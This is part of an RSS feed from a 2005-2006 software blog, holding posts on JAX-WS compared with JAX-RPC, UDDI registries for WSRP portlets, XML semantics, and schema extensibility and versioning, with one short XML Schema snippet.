		<guid isPermaLink="false">http://wp.subbu.org/2006/04/angle-brackets-or-annotations/</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p></p><div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2006%2F04%2Fangle-brackets-or-annotations"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2006%2F04%2Fangle-brackets-or-annotations&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Angle brackets or annotations? Is JAX-WS over-engineered or does it simplify web services development? I am disappointed with the points made by <a href="http://rmh.blogs.com/weblog/2006/03/jaxws_is_bad_ba.html" target="_blank">Richard Monson-Haefel</a> and <a href="http://jboss.org/jbossBlog/blog/jgreene/?permalink=Taking_RMHs_JAX_WS_Challenge.txt" target="_blank">Jason Greene</a> in their challenge and retractions against how complex or easy it is to use JAX-WS. Both their posts were provocative, but sidestep most of the requirements of complex web services. IMO, their positions are at  the extreme ends.</p>
<p><span id="more-63"></span></p>
<p>For of all, let me look at Richard&#8217;s arguments. He complains that JAX-RPC and JAX-WS are over-engineered. He blames the API for its complexity. He blames features like handler chains. He complains that deployment is hard. These complaints are a bit disappointing. Given his expertise as an author of a book on J2EE web services, I would expect him to provide more<br />
concrete criticism, <em>and</em> concrete proposals to address these limitations. Both were missing in his post. On the other side, Jason Greene tries to prove that it is trivial to write a web service using annotations. But I think his example actually proves Richard&#8217;s point that,<br />
for the simplest services, JAX-RPC and JAX-WS work fine. His example does not get into any details of real-world complex web services.</p>
<p>On a scale of 1 to 10, I would give JAX-WS at least a 7 (I would have given a 9 had JAX-WS retained backwards compatibility with JAX-RPC). Here is my take on how JAX-specs scale for developing complex web services. </p>
<h3>XML First</h3>
<p>I would never start designing a web service in Java or some other<br />
programming language, unless, of course, I&#8217;m doing a quick demo. Why?<br />
Because, to design inter-operable and loosely-coupled web services, I need<br />
to focus on the wire format first. Mapping to a programming language comes<br />
later. During design, I need to focus on what kind of messages need to be<br />
exchanged, what pieces of data need to be exposed and accepted, and their<br />
detailed semantics. I also need to focus on the kind of faults need to be<br />
returned, and their semantics. In essence, I would focus on a message<br />
exchange protocol for each service.</p>
<p>
To do all this, starting from Java with some annotations is not necessarily the best<br />
approach. Such an approach would steal the focus away from the wire format<br />
towards programming details such as class names, class hierarchies, method signatures, exceptions, etc.</p>
<p>
To do this effectively, I need an XML-to-Java binding model that maps the<br />
XML well-enough. With the help of JAXB, JAX-WS does a decent job in providing such a binding. </p>
<h3>
Injection of Services</h3>
<p>
The next important thing for me is the ability to inject services.<br />
Take, for example, adding a security token to an outgoing message, or<br />
processing a security token on an incoming message. The best way to do<br />
this by adding handlers. Handlers are pluggable, can be inserted and<br />
swapped as required without changing your application. I don&#8217;t understand<br />
Richard Monson-Haefel&#8217;s complaint on handlers. At BEA, we use handlers to<br />
drive a variety of use cases for our WSRP runtime.</p>
<p>
I do have two complaints about handlers. Firstly, the criteria to inject<br />
handlers is very coarse. Although JAX-WS improves upon JAX-RPC by letting<br />
you specify service name patterns, protocol bindings etc., it is still too<br />
coarse. I like to be able to specify handlers with some filtering criteria<br />
using XPath or XQuery. My second complaint is about the underlying SAAJ,<br />
and its tight-coupling to Java Mail and Java Activation Framework. SAAJ, by itself,<br />
is fine, but I get jittery when it starts jumping to Java Mail API for<br />
processing attachments. The programming model is not intuitive, and takes<br />
some expertise to use it correctly.</p>
<p>JAX-WS needs further refinements in this area.</p>
<h3>
Services without Java Binding</h3>
<p>
JAX-WS adds support for building web services without requiring Java binding. I consider this to be a very important improvement over JAX-RPC. Both JAX-RPC and JAX-WS spend a lot of energy bridging between WSDL and XML and Java classes and methods. This is not necessarily the wrong approach, since it covers most of the use cases. However, for really performance conscious web services development, it is better to program to the XML directly. For instance,<br />
instead of letting the container to unmarshal XML into Java beans, it may<br />
be faster to proces the raw message directly. JAX-WS let&#8217;s you do this with the javax.xml.ws.Provider interface. The provider can receive SOAPMessage or a raw StreamSource</p>
<p>Performance is not the only use case for using providers to build web services. Another key use case is <a href="http://www.subbu.org/weblogs/welcome/2005/08/web_services_ve_2.html">versioning</a>. Direct access to the SOAP message gives more flexibility to create web services that can support multiple versions of web service. Working at this level requires some expertise since you need to be aware of angle brackets, DOM gotchas, namespace prefixes etc, but it is exciting to see this as a possibility with JAX-WS.</p>
<h3>
Protocol Handlers</h3>
<p>
This is yet another improvement in JAX-WS over JAX-RPC. Let me elaborate. In JAX-RPC,<br />
handlers are protocol agnostic. Handlers don&#8217;t know anything about the<br />
network protocol that was used to transport a message. On the server side,<br />
handlers don&#8217;t know anything about the container that was used to run the<br />
service. For purity sake, you might argue that all web services code must<br />
be protocol independent &#8220;don&#8217;t care how the message got delivered &#8211; just<br />
process it&#8221;. This may be the case for most web services, but definitely not<br />
all web services. In real-world, web services co-exist with other apps<br />
bound to various network protocols, and in some cases, we need a way to<br />
peek into or influence protocol-specific aspects. Take, for example, any<br />
WSRP producer implementation. For starters, a WSRP producer is a web<br />
service that can be used to view/invoke portlets. In the J2EE world,<br />
portlets mostly run on top of the servlet container. For a WSRP producer<br />
to be able to interact with the servlet runtime, it needs access to<br />
servlet request and servlet response. So, most WSRP producer<br />
implementations out there use some internal/proprietary APIs to get hodl<br />
of these objects from the servlet container. This is just one example.</p>
<p>JAX-WS has the notion of protocol handlers that can get more direct access to protocol level objects such as request and response headers, servlet-container variables like ServletContext, HttpServletRequest, HttpServletResponse, HttpSession etc.</p>
<h3>My Summary</h3>
<p>Overall, I think JAX-WS is great improvement over JAX-RPC. I take the side of Jason Greene, but not just for annotations. JAX-WS gives me access to more low-level stuff, and I now have less number of reasons to write my own web services stack &#8211; which I had to do a couple of years ago since JAX-RPC did not give me all that I wanted.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.subbu.org/blog/2006/04/angle-brackets-or-annotations/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>A Case for UDDI Registries</title>
		<link>http://www.subbu.org/blog/2006/03/a-case-for-uddi-registries</link>
		<comments>http://www.subbu.org/blog/2006/03/a-case-for-uddi-registries#comments</comments>
		<pubDate>Sun, 19 Mar 2006 18:58:28 +0000</pubDate>
		<dc:creator>Subbu Allamaraju</dc:creator>
				<category><![CDATA[soa]]></category>
		<category><![CDATA[Web Services]]></category>
		<category><![CDATA[xml]]></category>

		<guid isPermaLink="false">http://wp.subbu.org/2006/03/a-case-for-uddi-registries/</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p></p><div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2006%2F03%2Fa-case-for-uddi-registries"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2006%2F03%2Fa-case-for-uddi-registries&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>
Here is a realistic application of UDDI registries. This one is not<br />
imaginary, and is not driven by a need to somehow use a registry to get<br />
SOA qualified. Moreover, you may not find this use case prominently<br />
anymore in white papers and brochures on UDDI registries.</p>
<p><span id="more-61"></span></p>
<p>
In the past, I have blogged about the<br />
<a href="http://www.subbu.org/weblogs/welcome/2005/07/soa_a_shot_in_t_1.html"><br />
hype around registries, repositories and SOA</a>, and I have been<br />
<a href="http://blogs.ittoolbox.com/eai/applications/archives/005237.asp"><br />
quoted</a> for that. But now, I am about to describe a use case for which<br />
using UDDI registry makes sense. This is one of the few use cases where<br />
finding, and consuming business services at runtime (and not design time)<br />
is possible. In this case, users search for services, select services, and<br />
start using them almost immediately. Please be warned that this use case<br />
does not involve any of the following use cases that registries have been<br />
touted for:</p>
<ul>
<li>Dynamic routing of service requests</li>
<li>Enforcement of policies</li>
<li>Controlling the integrity of services published</li>
<li>Governance</li>
</ul>
<p>
My use case is more basic than all of the above. Here it is.</p>
<ul>
<li>A developer writes a an app with a web-based UI, and deploys it.</li>
<li>A user wants to find and it and use it.</li>
</ul>
<p>
In this use case, the app is a portlet, and the user is interested in<br />
finding portlets based on some metadata, and using them. The user is not<br />
interested in understanding the interfaces for services, or their<br />
semantics, or designing software to use services. The user may be a<br />
typical web surfer, or an administrator creating portals. Here is how UDDI<br />
helps solve this use case:</p>
<ul>
<li>The runtime hosting the app publishes the app as business service in a<br />
UDDI registry. Note that the app is not a web service.</li>
<li>User searches against the registry using some high-level UI. The UI<br />
presents portlets.</li>
<li>When the user finds a portlet that he/she is looking for, the user<br />
will aggregate it into a portal page, and start using it right away.</li>
</ul>
<p>
As I have argued<br />
<a href="http://www.subbu.org/weblogs/welcome/2004/11/sifting_through.html"><br />
previously</a> on this blog, most typical service clients can not take<br />
advantage of dynamic discovery of web services through a UDDI registry.<br />
The reason is that most web services are tailored to to specific business<br />
use cases, and a developer needs to know about the service at design time.<br />
The developer will have to look up the WSDL, the schema for messages, and<br />
some other documentation to understand the semantic meaning of each and<br />
every detail of the service.</p>
<p>
However, in my use case, the services and the clients are generic, and in<br />
most cases, users can use a service as soon as finding one. Here is how:</p>
<ul>
<li>The business service in my use case is a portlet. A portlet is usually<br />
an app encapsulating some UI, business logic and data.</li>
<li>The runtime for portlets (a.k.a portlet producer) supports<br />
<a href="http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=wsrp"><br />
WSRP</a>, and can offer portlets over web services to any client<br />
supporting WSRP.</li>
<li>The producer publishes each portlet as a business service in a UDDI<br />
registry. The producer can do this behind the scenes without requiring the<br />
portlet developer/deployer understand UDDI.</li>
<li>The client is a portal or an application (a.k.a. consumer) that can<br />
aggregate portlets into web pages. The client implements WSRP.</li>
<li>When a user searches for portlets, the consumer searches the registry<br />
for matching business services, and presents the results as portlets.</li>
<li>The user aggregates portlets found into web pages.</li>
</ul>
<p>
In this use case, both the service and client are generic, and that is the<br />
key to publishing, finding, and using services dynamically at runtime.</p>
<p>
I must say that I&#8217;m quite excited about supporting this use for the next<br />
release of<br />
<a href="http://www.bea.com/framework.jsp?CNT=index.htm&amp;FP=/content/products/weblogic/portal"><br />
WebLogic Portal</a> due to be released in a couple of months. Prior to<br />
supporting this use case, finding portlets was not very easy. Let&#8217;s say,<br />
portlets are hosted in a number of producers. Each producer offers a<br />
WSRP-compliant WSDL, and one of the operations in the WSDL can be used to<br />
fetch a list of portlets available on a producer. To search for portlets,<br />
the user will have to go through this list from each producer. This can be<br />
tedious if the number of portlets is large. UDDI helps simplify this use<br />
case. By mapping portlets into business services, and publishing them into<br />
a registry, the problem is much simplified. Instead of browsing lists of<br />
portlets, users can type in keywords or other criteria to search for<br />
portlets. To help this use case, the WSRP TC released a<br />
<a href="http://www.oasis-open.org/committees/wsrp/specifications/version1/wsrp-pfb-abstract-model-1_0.pdf"><br />
technical note</a> that describes a mapping portlets and portlet producers<br />
into services that can be published into<br />
<a href="http://www.oasis-open.org/committees/wsrp/specifications/version1/wsrp-pfb-uddi-tn-1.0.pdf"><br />
UDDI</a> or<br />
<a href="http://www.oasis-open.org/committees/wsrp/specifications/version1/wsrp-pfb-ebxml-tn-1.0.pdf"><br />
ebXML</a> registries.&nbsp; </p>
<p>
There are few issues that may stand in the way of using portlets found in<br />
a registry immediately. In some cases, the user may not have enough<br />
privileges to use a portlet. In other cases, the user may require the<br />
assistance of administrators to help meet the security policy requirements<br />
of portlet producers. But once these infrastructure issues have been<br />
related, finding and using portlets is as easy is getting some plumbing<br />
help via yellow pages.</p>
<p>
Despite this simplicity, I don&#8217;t imagine emergence of global portlet<br />
registries. The main reason is that a portlet registry makes sense when<br />
there are a large number of remote portlets deployed, and typically such<br />
deployments may be limited to large enterprises. Secondly, there are still<br />
issues around security and other quality of service, and these require<br />
out-of-band negotiation in most cases.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.subbu.org/blog/2006/03/a-case-for-uddi-registries/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>XML and Semantics</title>
		<link>http://www.subbu.org/blog/2005/10/xml-and-semantics</link>
		<comments>http://www.subbu.org/blog/2005/10/xml-and-semantics#comments</comments>
		<pubDate>Tue, 18 Oct 2005 20:42:39 +0000</pubDate>
		<dc:creator>Subbu Allamaraju</dc:creator>
				<category><![CDATA[xml]]></category>

		<guid isPermaLink="false">http://wp.subbu.org/2005/10/xml-and-semantics/</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p></p><div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2005%2F10%2Fxml-and-semantics"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2005%2F10%2Fxml-and-semantics&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>In this post on <a href="http://www.artima.com/weblogs/viewpost.jsp?thread=132646">What is XML?</a> Jim Baldo asks a very interesting and important question. What does anyone mean by XML?</p>
<p><span id="more-47"></span><br />
A number of people still say that they use XML because it is self-describing. No way. XML is not self-describing. I have seen people asking questions in the line of &#8220;Here is the schema. Don&#8217;t you <em>understand</em> what this XML means?&#8221;. No. XML and schemas don&#8217;t make data self-describing either. Schemas and DTDs don&#8217;t add semantics to XML. They add constraints to XML documents.</p>
<p>So, where do semantics come from? Definitely not from XML or a schema. We need something else, like a specification, or a document that someone wrote, that describes what a given XML element/attribute means in a given context. Neither the context nor the meaning can be described with in an instance document or a schema, because, the same piece of XML can mean different things to different people (read applications). So, mere presence of a schema describing XML does not tell an application what to do with it.</p>
<p>Jim&#8217;s post reminds me of a long thread of posts on the <a href="http://groups.yahoo.com/group/service-orientated-architecture">service-oriented-architecture</a> group. The thread started with a question &#8211; <a href="http://groups.yahoo.com/group/service-orientated-architecture/message/2400">Is the WS-vision achiavable?</a>. The thread went on to discuss &#8220;self-describing&#8221; services, i.e. services that can be discovered dynamically and used by dynamically generating/constructing the client. The trouble with this approach is that, once you discover an arbitrary service, you need to know the semantics before you can use the service correctly. The mere fact that a service uses a WSDL and an XSD does not mean that it is self-describing.</p>
<p>The only time when dynamic binding of services can work is when the semantics are understood (e.g. in a vertical domain) by all parties (service providers and consumers). Even in that case, we can&#8217;t say that such services are self-describing.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.subbu.org/blog/2005/10/xml-and-semantics/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>XML and WS Talks at BEA World 2005</title>
		<link>http://www.subbu.org/blog/2005/10/xml-and-ws-talks-at-bea-world-2005</link>
		<comments>http://www.subbu.org/blog/2005/10/xml-and-ws-talks-at-bea-world-2005#comments</comments>
		<pubDate>Wed, 05 Oct 2005 18:56:10 +0000</pubDate>
		<dc:creator>Subbu Allamaraju</dc:creator>
				<category><![CDATA[Web Services]]></category>
		<category><![CDATA[xml]]></category>

		<guid isPermaLink="false">http://wp.subbu.org/2005/10/xml-and-ws-talks-at-bea-world-2005/</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p></p><div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2005%2F10%2Fxml-and-ws-talks-at-bea-world-2005"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2005%2F10%2Fxml-and-ws-talks-at-bea-world-2005&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>
Last week, at BEA World 2005, I had a chance to hear<br />
<a href="http://www.pacificspirit.com/blog/">David Orchard</a> talk about<br />
WS-* standards [<a href="#ppt1">1</a>], and future-proofing XML schemas<br />
and web services [<a href="#ppt2">2</a>]. I also had a chance to discuss a<br />
few things. Both his sessions were quite informative and insightful, and<br />
brought out a few key points. I would like to share my thoughts here.</p>
<p><span id="more-45"></span></p>
<h4>
SOAP Extensibility and REST</h4>
<p>
SOAP vs. REST is a hot topic, and there are valid points on both sides.<br />
The<br />
<a href="http://atmanes.blogspot.com/2005/09/rest-and-soap-and-document-oriented.html"><br />
recent post</a> by <a href="http://atmanes.blogspot.com">Anne Thomas Manes</a><br />
summarizes the debate very well. But what makes SOAP successful is SOAP&#8217;s<br />
extensibility model. WS stacks and intermediaries can enhance messages<br />
without changing the application protocol (as dictated by the WSDL of the<br />
web service). For example, you can add a SOAP addressing header or an<br />
identity security token without changing the web service. This is a key<br />
requirement for loose-coupling. There are several arguments about REST&#8217;s<br />
extensibility. But extensibility models of REST and SOAP are quite<br />
different and operate on different levels. Moreover, REST&#8217;s extensibility<br />
is tied to HTTP, whereas SOAP does not depend on HTTP.</p>
<p>
[On a related note, the reason for SOAP's success may be attributed to the<br />
number of applications using it, and the number of products available on<br />
top of SOAP and WSDL. The larger the community of users, developers, and<br />
vendors using a technology or a product, the more successful it will be,<br />
even when some other technology or product has some superior<br />
qualities. Microsoft Windows (vs Linux), and Internet Explorer (vs FireFox<br />
and Mozilla) are the best examples. Struts and Java Server Faces also fall<br />
in this category, although some people might flame me for saying this.]</p>
<h4>
Changing the Schema</h4>
<p>
One of the approaches for versioning a schema is not to version at all.<br />
That is to keep making compatible changes within the same schema. This is<br />
an interesting approach, and works only if applications receiving XML from<br />
other applications strictly follow the mustIgnore rule for processing the<br />
XML. When a schema is modified like this, various users of the schema will<br />
likely end up having an inconsistent view of the schema, and applications<br />
using the schema may break if they encounter unknown elements or<br />
attributes. Compatibility and adherence to the mustIgnore rule are key for<br />
this approach to work.&nbsp; </p>
<h4>
Extensions are for Third Parties</h4>
<p>
Extensions are for third parties. Period. The problem with extensions is<br />
that schema owners have no control on either the data model or the<br />
semantics of extensions. Both are completely the responsibility of the<br />
extension owner and not the spec owner. But how can schema owner guard<br />
against incompatible or invalid extensions, or changes that prevent future<br />
changes to the schema? Of all the solutions discussed, I find the<br />
following solution most useful. The solution is to wrap the extension in a<br />
known type as shown below. </p>
<div class="code-snippet">
<pre style="line-height: 100%; margin-top: 0; margin-bottom: 0">&lt;xs:complexType name=&quot;Extension&quot;&gt;
&lt;xs:sequence&gt;
&lt;xs:any processContents=&quot;lax&quot; minOccurs=&quot;0&quot; maxOccurs=&quot;unbounded&quot;/&gt;
&lt;/xs:sequence&gt;
&lt;xs:anyAttribute&gt;</pre>
<pre style="line-height: 100%; margin-top: 0; margin-bottom: 0">&lt;/xs:complexType&gt;       </pre>
</div>
<p>
The expectation is that third-parties use these extensions for<br />
transporting data of type and semantics unknown to the schema owners. This<br />
is the model we adopted in the WSRP 1.0 specification for third-party<br />
extensions.</p>
<p>
But there is a problem with extensions. Most XML APIs (including XmlBeans)<br />
provide a very low level access to process extensions. For instance, if a<br />
<code>person</code> has an <code>extensions</code> element, a developer<br />
can call a <code>getExtensions</code>-like method to get the extensions,<br />
but from then onwards, the developer has to use some low-level accessors<br />
(like an XmlCursor) to process extensions. The same is the case with<br />
extensions used in web services. Most web services toolkits generate<br />
DOM-like accessors to process extesion elements. </p>
<h4>
Versioning and Web Services</h4>
<p>
Dave also talked about extensibility and versioning issues with web<br />
services. In my experience, I find that web services toolkits and programming<br />
models ignore versioning. Over the last several years, it<br />
has gotten easier to create web services implementations either from code<br />
(e.g. using a JWS file), or from a WSDL. These improvements  help rapid development and deployment of web<br />
services. But once you introduce versioning into the picture, these<br />
standards have no clue. There is no <code>@versionOf</code> annotation for web services yet.<br />
I admit that the problem is complex. As I<br />
<a href="http://www.subbu.org/weblogs/welcome/2005/08/web_services_ve_2.html">blogged</a> earlier here, the solutions are not<br />
pretty.</p>
<p>
Overall, I found Dave&#8217;s sessions very useful. I strongly recommend<br />
his papers on extensibility for anyone trying to understand schemas. There<br />
is more to schemas than creating simple and complex types.</p>
<h4>
References</h4>
<p>
<span class="topicHeader"><a name="ppt1">[1]</a><br />
<a href="http://beaworld-online.bea.com/servlet/mware.servlets.StudentServlet?mwaction=showDescr&#038;subsys_id=12077&#038;class_code=BEA-65697(USA,2005)&#038;include_all_metadata=true&#038;file=show_descr&#038;avail_frames=false&#038;isAddedToMysession=false"><br />
Industry Standards Overload: Making Sense of WSDL, SOAP, WS-*, and more!</a><br />
(requires registration).</span></p>
<p>
<a name="ppt2">[2]</a> <span class="topicHeader"><br />
<a href="http://beaworld-online.bea.com/servlet/mware.servlets.StudentServlet?mwaction=showDescr&#038;subsys_id=12077&#038;class_code=BEA-12(USA,2005)&#038;include_all_metadata=true&#038;file=show_descr"><br />
Future-Proof Web Services: XML Schema, WSDL and Web Service Evolution in<br />
WebLogic 9.0</a> (requires registration).</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.subbu.org/blog/2005/10/xml-and-ws-talks-at-bea-world-2005/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

